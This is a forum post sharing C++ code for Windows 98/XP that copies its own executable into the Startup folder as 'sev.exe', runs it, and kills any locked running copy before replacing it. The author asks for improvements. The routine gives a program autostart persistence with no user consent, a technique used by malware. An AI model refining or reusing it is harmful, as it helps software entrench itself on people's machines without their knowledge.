guys here are my self install codes for any applications
it will copy itself to the startup folder and run
it's not very efficient so i need u guys to advise on improvements
works on win98,winxp
codes that have been commented out are some of the stuff i previously tested and found to be unsuccessful
![]()
Code:char *current_directory = new char[MAX_PATH]; // rem to delete this char *window_dir = new char[MAX_PATH]; // rem to delete this GetModuleFileName(theApp.m_hInstance, current_directory, MAX_PATH); SHGetSpecialFolderPath(NULL,window_dir, CSIDL_STARTUP,TRUE); strcat(window_dir,"\\sev.exe"); // FORCE IT TO BE IN STARTUP FOLDER // CopyFile(current_directory,window_dir,FALSE ) ; if( stricmp (current_directory , window_dir) != 0) // i am not in the correct dir { int set_file_result = SetFileAttributes(window_dir,FILE_ATTRIBUTE_NORMAL); if (set_file_result == 0)// if i cant set attrib, means wind_dir is empty, if i can set, means wind_dir not empty and i gotta del { CopyFile(current_directory,window_dir,FALSE ) ; ShellExecute(0,0,window_dir,0,0,0); delete[] window_dir; return 55; return 0; } BOOL delete_result = DeleteFile( window_dir); int bb = GetLastError(); if(delete_result == 0) // delete fails because of access denied { //BOOL seek_and_kill(char *window_dir ) , to kill the currently process so as to allow me to run { HANDLE hProcessSnap; PROCESSENTRY32 pe32; // Take a snapshot of all processes in the system. hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) { return( FALSE ); } pe32.dwSize = sizeof( PROCESSENTRY32 ); // Retrieve information about the first process, // and exit if unsuccessful if( !Process32First( hProcessSnap, &pe32 ) ) { CloseHandle( hProcessSnap ); // Must clean up the snapshot object! return( FALSE ); } BOOL next_result = 1; // TCHAR *szExeFile = {pe32.szExeFile}; while( ( stricmp( pe32.szExeFile , "sev.exe") != 0) && (next_result != FALSE ) ) { next_result = Process32Next(hProcessSnap, &pe32); } HANDLE kill_this_process = OpenProcess( PROCESS_ALL_ACCESS,0, pe32.th32ProcessID); TerminateProcess(kill_this_process , 999); // return 1; } while(!DeleteFile( window_dir) ) {}; } CopyFile(current_directory,window_dir,FALSE ) ; ShellExecute(0,0,window_dir,0,0,0); delete[] window_dir; return 55; } else // else if i am in the correct dir, i dont want 2 instance of the same thing { HANDLE hProcessSnap; PROCESSENTRY32 pe32; // Take a snapshot of all processes in the system. hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) { return( FALSE ); } pe32.dwSize = sizeof( PROCESSENTRY32 ); // Retrieve information about the first process, // and exit if unsuccessful if( !Process32First( hProcessSnap, &pe32 ) ) { CloseHandle( hProcessSnap ); // Must clean up the snapshot object! return( FALSE ); } BOOL next_result = 1; BOOL duplicate = FALSE; // TCHAR *szExeFile = {pe32.szExeFile}; while( next_result != FALSE ) { if( (stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == TRUE)) { return 55; } if( ( stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == FALSE)) { duplicate = TRUE; } next_result = Process32Next(hProcessSnap, &pe32); } if( (stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == TRUE)) { // return 55; } } delete[] window_dir; delete[] current_directory;



LinkBack URL
About LinkBacks



